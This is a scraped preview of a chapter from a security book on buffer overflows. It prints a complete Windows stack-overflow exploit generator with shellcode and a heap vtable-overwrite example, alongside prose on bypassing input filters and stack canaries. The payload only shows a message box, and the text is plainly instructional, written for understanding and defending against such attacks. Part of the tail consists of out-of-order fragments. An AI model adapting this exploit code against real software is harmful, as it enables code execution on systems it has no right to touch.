hack proofing your network second edition phần 5 doc

83 199 0
hack proofing your network second edition phần 5 doc

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

298 Chapter 8 • Buffer Overflow 156 GetStringTypeW 261 SetEndOfFile 1BF LCMapStringA 1C0 LCMapStringW Summary 3000 .data 1000 .idata 2000 .rdata 1000 .reloc 20000 .text This shows that the only linked DLL loaded directly is kernel32.dll. Kernel32.dll also has dependencies, but for now, we will just use that to find a jump point. Next, we load findjmp, looking in kernel32.dll for places that can redirect us to the ESP.We run it as follows: findjmp kernel32.dll ESP And it tells us: Scanning kernel32.dll for code useable with the ESP register 0x77E8250A call ESP Finished Scanning kernel32.dll for code useable with the ESP register Found 1 usable addresses So we can overwrite the saved EIP on the stack with 0x77E8250A and when the ret hits, it will put the address of a call ESP into the EIP.The processor will execute this instruction, which will redirect processor control back to our stack, where our payload will be waiting. In the exploit code, we define this address as follows: DWORD EIP=0x77E8250A; // a pointer to a //call ESP in KERNEL32.dll //found with findjmp.c and then write it in our exploit buffer after our 12 byte filler like so: memcpy(writeme+12,&EIP,4); //overwrite EIP here www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 298 Buffer Overflow • Chapter 8 299 Writing a Simple Payload Finally, we need to create and insert our payload code.As stated before, we chose to create a simple MessageBox that says “HI” to us, just as a proof of concept. I typically like to prototype my payloads in C, and then convert them to ASM.The C code to do this is as follows: MessageBox (NULL, "hi", NULL, MB_OK); Typically, we would just recreate this function in ASM.You can use a disas- sembler or debugger to find the exact ASM syntax from compiled C code. We have one issue though; the MessageBox function is exported from USER32.DLL, which is not imported into our attacked program, so we have to force it to load itself.We do this by using a LoadLibraryA call. LoadLibraryA is the function that WIN32 platforms use to load DLLs into a process’s memory space. LoadLibraryA is exported from kernel32.dll, which is already loaded into our DLL, as the dumpbin output shows us. So we need to load the DLL, then call the MessageBox, so our new code looks like: LoadLibraryA("User32"); MessageBox(NULL, "hi", NULL, MB_OK); We were able to leave out the “.dll” on “user32.dll” because it is implied, and it saves us 4 bytes in our payload size. Now the program will have user32 loaded (and hence the code for MessageBox loaded), so the functionality is all there, and should work fine as we translate it to ASM. There is one last part that we do need to take into account, however: since we have directly subverted the flow of this program, it will probably crash as it attempts to execute the data on the stack after our payload. Since we are all polite hackers, we should attempt to avoid this. In this case, it means exiting the process cleanly using the ExitProcess() function call. So our final C code (before conver- sion to assembly) is as follows: LoadLibraryA("User32"); MessageBox(NULL, "hi", NULL, MB_OK); ExitProcess(1); We decided to use the inline ASM functionality of the visual C compiler to create the ASM output of our program, and then just copied it to a BYTE buffer for inclusion in our exploit. www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 299 300 Chapter 8 • Buffer Overflow Rather than showing the whole code here, we will just refer you to the fol- lowing exploit program that will create the file, build the buffer from filler, jump point, and payload, then write it out to a file. If you wish to test the payload before writing it to the file, just uncomment the small section of code noted as a test. It will execute the payload instead of writing it to a file. The following is a program that I wrote to explain and generate a sample exploit for our overflowable function. It uses hard-coded function addresses, so it may not work on a system that isn’t running win2k sp2. It is intended to be simple, not portable.To make it run on a different plat- form, replace the #defines with addresses of those functions as exposed by depends.exe, or dumpbin.exe, both of which ship with Visual Studio. The only mildly advanced feature this code uses is the trick push.A trick push is when a call is used to trick the stack into thinking that an address was pushed. In this case, every time we do a trick push, we want to push the address of our following string onto the stack.This allows us to embed our data right into the code, and offers the added benefit of not requiring us to know exactly where our code is executing, or direct offsets into our shellcode. This trick works based on the fact that a call will push the next instruction onto the stack as if it were a saved EIP intended to return to at a later time.We are exploiting this inherent behavior to push the address of our string onto the stack. If you have been reading the chapter straight through, this is the same trick used in the Linux exploit. Because of the built-in Visual Studio compiler’s behavior, we are required to use _emit to embed our string in the code. #include <Windows.h> /* Example NT Exploit Ryan Permeh, ryan@eeye.com */ int main(int argc,char **argv) { #define MBOX 0x77E375D5 #define LL 0x77E8A254 #define EP 0x77E98F94 www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 300 Buffer Overflow • Chapter 8 301 DWORD EIP=0x77E8250A; // a pointer to a //call ESP in KERNEL32.dll //found with findoffset.c BYTE writeme[65]; //mass overflow holder BYTE code[49] ={ 0xE8, 0x07, 0x00, 0x00, 0x00, 0x55, 0x53, 0x45, 0x52, 0x33, 0x32, 0x00, 0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF, 0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8, 0x03, 0x00, 0x00, 0x00, 0x48, 0x49, 0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75, 0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01, 0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF, 0xD0 }; HANDLE file; DWORD written; /* __asm { call tag1 ; jump over(trick push) _emit 0x55 ; "USER32",0x00 _emit 0x53 _emit 0x45 _emit 0x52 _emit 0x33 _emit 0x32 _emit 0x00 tag1: // LoadLibrary("USER32"); mov EAX, LL ;put the LoadLibraryA address in EAX call EAX ;call LoadLibraryA www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 301 302 Chapter 8 • Buffer Overflow push 0 ;push MBOX_OK(4th arg to mbox) push 0 ;push NULL(3rd arg to mbox) call tag2 ; jump over(trick push) _emit 0x48 ; "HI",0x00 _emit 0x49 _emit 0x00 tag2: push 0 ;push NULL(1st arg to mbox) // MessageBox (NULL, "hi", NULL, MB_OK); mov EAX, MBOX ;put the MessageBox address in EAX call EAX ;Call MessageBox push 1 ;push 1 (only arg to exit) // ExitProcess(1); mov EAX, EP ; put the ExitProcess address in EAX call EAX ;call ExitProcess } */ /* char *i=code; //simple test code pointer //this is to test the code __asm { mov EAX, i call EAX } */ /* Our overflow string looks like this: [0x90*12][EIP][code] The 0x90(nop)'s overwrite the buffer, and the saved EBP on the stack, www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 302 Buffer Overflow • Chapter 8 303 and then EIP replaces the saved EIP on the stack. The saved EIP is replaced with a jump address that points to a call ESP. When call ESP executes, it executes our code waiting in ESP.*/ memset(writeme,0x90,65); //set my local string to nops memcpy(writeme+12,&EIP,4); //overwrite EIP here memcpy(writeme+16,code,49); // copy the code into our temp buf //open the file file=CreateFile("badfile",GENERIC_WRITE,0,NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); //write our shellcode to the file WriteFile(file,writeme,65,&written,NULL); CloseHandle(file); //we're done return 1; } Learning Advanced Overflow Techniques Now that basic overflow techniques have been explored, it is time to examine some of the more interesting things you can do in an overflow situation. Some of these techniques are applicable in a general sense; some are for specific situa- tions. Because overflows are becoming better understood in the programmer community, sometimes it requires a more advanced technique to exploit a vul- nerable situation. Input Filtering Programmers have begun to understand overflows and are beginning to write code that checks input buffers for completeness.This can cause attackers headaches when they find that they cannot put whatever code they want into a buffer overflow.Typically, only null bytes cause problems, but programmers have begun to start parsing data so that it looks sane before attempting to copy it into a buffer. There are a lot of potential ways of achieving this, each offering a different hurdle to a potential exploit situation. www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 303 304 Chapter 8 • Buffer Overflow For example, some programmers have been verifying input values so that if the input should be a number, it gets checked to verify that it is a number before being copied to a buffer.There are a few standard C library calls that can verify that the data is as it should be.A short table of some of the ones found in the win32 C library follows.There are also wide character versions of nearly all of these functions to deal in a Unicode environment. int isalnum( int c ); checks if it is in A-Z,a-z,0-9 int isalpha( int c ); checks if it is in A-Z,a-z int __isascii( int c ); checks if it is in 0x00-0x7f int isdigit( int c ); checks if it is in 0-9 isxdigit( int c ); checks if it is in 0-9,A-F Many UNIX C libraries also implement similar functions. Custom exploits must be written in order to get around some of these filters. This can be done by writing specific code, or by creating a decoder that encodes the data into a format that can pass these tests. There has been much research put into creating alphanumeric and low- ASCII payloads; and work has progressed to the point where in some situations, full payloads can be written this way.There have been MIME-encoded payloads, and multibyte XOR payloads that can allow strange sequences of bytes to appear as if they were ASCII payloads. Another way that these systems can be attacked is by avoiding the input check altogether. For instance, storing the payload in an unchecked environment variable or session variable can allow you to minimize the amount of bytes you need to keep within the bounds of the filtered input. Incomplete Overflows and Data Corruption There has been a significant rise in the number of programmers who have begun to use bounded string operations like strncpy() instead of strcpy.These program- mers have been taught that bounded operations are a cure for buffer overflows. however, it may come as a surprise to some that they are often implemented wrong. There is a common problem called an “off by one” error, where a buffer is allocated to a specific size, and an operation is used with that size as a bound. However, it is often forgotten that a string must include a null byte terminator. Some common string operations, although bounded, will not add this character, effectively allowing the string to edge against another buffer on the stack with no www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 304 Buffer Overflow • Chapter 8 305 separation. If this string gets used again later, it may treat both buffers as one, causing a potential overflow. An example of this is as follows: [buf1 - 32 bytes \0][buf2 - 32 bytes \0] Now, if exactly 32 bytes get copied into buf1 the buffers now look like this: [buf1 - 32 bytes of data ][buf2 - 32 bytes \0] Any future reference to buf1 may result in a 64-byte chunk of data being copied, potentially overflowing a different buffer. Another common problem with bounds checked functions is that the bounds length is either calculated wrong at runtime, or just plain coded wrong.This can happen because of a simple bug, or sometimes because a buffer is statically allo- cated when a function is first written, then later changed during the development cycle. Remember, the bounds size must be the size of the destination buffer and not that of the source. I have seen examples of dynamic checks that did a strlen() of the source string for number of bytes that were copied.This simple mistake invalidates the usefulness of any bounds checking. One other potential problem with this is when a condition occurs in which there is a partial overflow of the stack. Due to the way buffers are allocated on the stack and bounds checking, it may not always be possible to copy enough data into a buffer to overflow far enough to overwrite the EIP.This means that there is no direct way of gaining processor control via a ret. However, there is still the potential for exploitation even if you don’t gain direct EIP control.You may be writing over some important data on the stack that you can control, or you may just get control of the EBP.You may be able to leverage this and change things enough to take control of the program later, or just change the program’s operation to do something completely different than its original intent. For example, there was a phrack (www.phrack.org) article written about how changing a single byte of a stack’s stored EBP may enable you to gain control of the function that called you.The article is at www.phrack.org/show.php?p =55&a=8 and is highly recommended. A side effect of this can show up when the buffer you are attacking resides near the top of the stack, with important pieces of data residing between your buffer and the saved EIP. By overwriting this data, you may cause a portion of the function to fail, resulting in a crash rather than an exploit.This often happens when an overflow occurs near the beginning of a large function. It forces the rest of the function to try to work as normal with a corrupt stack. An example of this www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 305 306 Chapter 8 • Buffer Overflow comes up when attacking canary-protected systems.A canary-protected system is one that places values on the stack and checks those values for integrity before issuing a ret instruction to leave the function. If this canary doesn’t pass inspec- tion, the process typically terminates. However, you may be able to recreate a canary value on the stack unless it is a near-random value. Sometimes, static canary values are used to check integrity. In this case, you just need to overflow the stack, but make certain that your overflow recreates the canary to trick the check code. Stack Based Function Pointer Overwrite Sometimes programmers store function addresses on the stack for later use. Often, this is due to a dynamic piece of code that can change on demand. Scripting engines often do this, as well as some other types of parsers.A function pointer is simply an address that is indirectly referenced by a call operation.This means that sometimes programmers are making calls directly or indirectly based on data in the stack. If we can control the stack, we are likely to be able to con- trol where these calls happen from, and can avoid having to overwrite EIP at all. To attack a situation like this, you would simply create your overwrite and instead of overwriting EIP, you would overwrite the potion of the stack devoted to the function call. By overwriting the called function pointer, you can execute code similarly to overwriting EIP.You need to examine the registers and create an exploit to suit your needs, but it is possible to do this without too much trouble. Heap Overflows So far, this chapter has been about attacking buffers allocated on the stack.The stack offers a very simple method for changing the execution of code, and hence these buffer overflow scenarios are pretty well understood.The other main type of memory allocation in a program is from the heap.The heap is a region of memory devoted to allocating dynamic chunks of memory at runtime. The heap can be allocated via malloc-type functions such as HeapAlloc(), malloc(), and new(). It is freed by the opposite functions, HeapFree(), free(), and delete(). In the background there is an OS component known as a Heap Manager that handles the allocation of heaps to processes and allows for the growth of a heap so that if a process needs more dynamic memory, it is available. Heap memory is different from stack memory in that it is persistent between functions.This means that memory allocated in one function stays allocated until www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 306 Buffer Overflow • Chapter 8 307 it is implicitly freed.This means that a heap overflow may happen but not be noticed until that section of memory is used later.There is no concept of saved EIP in relation to a heap, but there are other important things that often get stored there. Much like stack-based function pointer overflows, function pointers may be stored on the heap as well. Corrupting a Function Pointer The basic trick to heap overflows is to corrupt a function pointer.There are many ways to do this. First, you can try to overwrite one heap object from another neighboring heap. Class objects and structs are often stored on the heap, so there are usually many opportunities to do this.The technique is simple to understand and is called trespassing. Trespassing the Heap In this example, two class objects are instantiated on the heap.A static buffer in one class object is overflowed, trespassing into another neighboring class object. This trespass overwrites the virtual-function table pointer (vtable pointer) in the second object.The address is overwritten so that the vtable address points into our own buffer.We then place values into our own Trojan table that indicate new addresses for the class functions. One of these is the destructor, which we over- write so that when the class object is deleted, our new destructor is called. In this way, we can run any code we want to — we simply make the destructor point to our payload.The downside to this is that heap object addresses may contain a NULL character, limiting what we can do.We either must put our payload some- where that doesn’t require a NULL address, or pull any of the old stack refer- encing tricks to get the EIP to return to our address.The following code example demonstrates this method. // class_tres1.cpp : Defines the entry point for the console // application. #include <stdio.h> #include <string.h> class test1 www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 307 [...]... wants it to go Creating Your First Overflow A stack overflow exploit is comprised of an injection, a jump point, and a payload www.syngress.com 3 15 194_HPYN2e_08.qxd 316 2/ 15/ 02 10 :58 AM Page 316 Chapter 8 • Buffer Overflow Injection involves getting your specific payload into the attack’s target buffer.This can be a network connection, form input, or a file that is read in, depending on your specific situation... function // pointer w/ heap address // 0x00301E54 making the destructor // appear to be 0x77777777 // and the run() function appear to // be 0x88888888 ////////////////////////////////////// strcpy(t3->name, "\x77\x77\x77\x77\x88\x88\x88\x88XX XXXXXXXXXX"\ "XXXXXXXXXX XXXXXXXXXX XXXXXXXXXX www.syngress.com XXXX\x54\x1E\x30\x00"); 194_HPYN2e_08.qxd 2/ 15/ 02 10 :58 AM Page 309 Buffer Overflow • Chapter 8 delete... design can be modified to fit your situation.You can optimize it for size, avoid intrusion detection systems (IDS), or make it violate the kernel Using What You Already Have Even simple programs often have more code in memory than is strictly necessary By linking to a dynamically loaded library, you tell the program to load that www.syngress.com 194_HPYN2e_08.qxd 2/ 15/ 02 10 :58 AM Page 311 Buffer Overflow... They do this to minimize memory usage and reuse code as much as possible As I said in the last section, you can use whatever is loaded to your advantage, but sometimes you may need something that isn’t already loaded www.syngress.com 311 194_HPYN2e_08.qxd 312 2/ 15/ 02 10 :58 AM Page 312 Chapter 8 • Buffer Overflow Just like code in a program, a payload can chose to load a dynamic library on demand and then... these functions works well but can impair your code portability.This is because only processes that have the functions loaded where you have hardcoded them will allow this technique to work For Windows NT, this typically limits your exploit to a single service pack and OS combo, for UNIX, it may not work at all, depending on the platform and libraries used The second option is to search the executable... tuck your code elsewhere, this may just not be an option.The simple overview is to treat your shellcode like a symbol lookup function In this case, you are looking for the function already loaded in memory via the imported functions list.This, of course assumes that the function is already loaded in memory, but this is often, if not always, the case.This method www.syngress.com 194_HPYN2e_08.qxd 2/ 15/ 02... called at the end of your function The general concept behind buffer overflow attacks revolves around overwriting the saved EIP on the stack with a way to get to your code.This allows you to control the machine and execute any code you have placed there.To successfully exploit a vulnerable situation, you need to create an injector, a jump point, and a payload.The injector places your code where it needs... to create an injector, a jump point, and a payload.The injector places your code where it needs to be, the jump point transfers control to your payload, and your payload is the actual code you wish to execute There are numerous techniques that can be used to make your exploit work better in a variety of situations.We covered techniques for bypassing input filtering and dealing with incomplete overflows.We... is typically allocated at the beginning of a function in a portion of code called the prologue, and cleaned up at the end of the function in the epilogue www.syngress.com 194_HPYN2e_08.qxd 2/ 15/ 02 10 :58 AM Page 3 15 Buffer Overflow • Chapter 8 Often, parts of the stack are allocated for use as buffers within the function Because of the way the stack works, these are allocated as static sizes that do not...194_HPYN2e_08.qxd 308 2/ 15/ 02 10 :58 AM Page 308 Chapter 8 • Buffer Overflow { public: char name[10]; virtual ~test1(); virtual void run(); }; class test2 { public: char name[10]; virtual ~test2(); virtual void run(); }; int main(int argc, char* argv[]) { class test1 *t1 = new class test1; class test1 *t5 = new class test1; class test2 *t2 = new class test2; class . KERNEL32.dll //found with findoffset.c BYTE writeme[ 65] ; //mass overflow holder BYTE code[49] ={ 0xE8, 0x07, 0x00, 0x00, 0x00, 0x 55, 0x53, 0x 45, 0x52, 0x33, 0x32, 0x00, 0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF, 0xD0,. **argv) { #define MBOX 0x77E375D5 #define LL 0x77E8A 254 #define EP 0x77E98F94 www.syngress.com 194_HPYN2e_08.qxd 2/ 15/ 02 10 :58 AM Page 300 Buffer Overflow • Chapter 8 301 DWORD EIP=0x77E8 250 A; // a pointer. 0xB8, 0xD5, 0x 75, 0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01, 0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF, 0xD0 }; HANDLE file; DWORD written; /* __asm { call tag1 ; jump over(trick push) _emit 0x 55 ; "USER32",0x00 _emit

Ngày đăng: 14/08/2014, 04:21

Từ khóa liên quan

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan